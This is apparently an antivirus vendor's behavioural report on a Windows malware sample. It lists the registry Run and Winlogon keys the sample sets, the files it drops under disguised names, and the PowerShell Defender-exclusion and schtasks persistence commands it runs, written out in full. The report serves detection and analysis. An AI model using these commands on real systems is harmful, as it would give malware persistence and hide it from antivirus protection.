Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'System' = '"C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'System' = '"C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe", "%ProgramFiles(x86)%\Internet Explorer\en-US...
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'lsm' = '"C:\Users\Default User\lsm.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'lsm' = '"C:\Users\Default User\lsm.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"%ProgramFiles(x86)%\Adobe\iexplore.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"%ProgramFiles(x86)%\Adobe\iexplore.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'explorer' = '"%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'explorer' = '"%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"<Full path to file>"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '"<Full path to file>"'
Creates or modifies the following files
- <SYSTEM32>\tasks\systems
- <SYSTEM32>\tasks\system
- <SYSTEM32>\tasks\idlei
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\lsml
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\lsm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Adobe\iexplore.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Modifies file system
Creates the following files
- <Current directory>\4f6579db366495
- %WINDIR%\globalization\mct\mct-za\rssfeed\explorer.exe
- %WINDIR%\globalization\mct\mct-za\rssfeed\7a0fd90576e088
- %ProgramFiles(x86)%\adobe\iexplore.exe
- %ProgramFiles(x86)%\adobe\9db6e019d4f04e
- C:\users\default user\lsm.exe
- C:\users\default user\101b941d020240
- %ProgramFiles(x86)%\internet explorer\en-us\idle.exe
- %ProgramFiles(x86)%\internet explorer\en-us\6ccacd8608530f
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\system.exe
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\27d1bcfc3c54e0
- %TEMP%\fl2vrdod.0.cs
- %TEMP%\fl2vrdod.cmdline
- %TEMP%\fl2vrdod.out
- %TEMP%\3ip1lv2joa
- %TEMP%\e9z0iecezl.bat
Deletes the following files
- %TEMP%\fl2vrdod.0.cs
- %TEMP%\fl2vrdod.out
- %TEMP%\fl2vrdod.cmdline
- %TEMP%\3ip1lv2joa
Moves the following files
- from %ProgramFiles%\microsoft office\office14\bcssync.exe to %ProgramFiles%\microsoft office\office14\bcssync.exe.exe
Miscellaneous
Creates and executes the following
- '%ProgramFiles(x86)%\adobe\iexplore.exe'
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\e9Z0IecEZl.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>r" /sc MINUTE /mo 5 /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc ONLOGON /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>r" /sc MINUTE /mo 6 /tr "'<Full path to file>'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 7 /tr "'%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 12 /tr "'%WINDIR%\Globalization\MCT\MCT-ZA\RSSFeed\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 12 /tr "'%ProgramFiles(x86)%\Adobe\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Adobe\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 13 /tr "'%ProgramFiles(x86)%\Adobe\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'%ProgramFiles(x86)%\Internet Explorer\en-US\Idle.exe'" /f
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\fl2vrdod.cmdline"
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\fl2vrdod.cmdline"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\e9Z0IecEZl.bat"' (with hidden window)
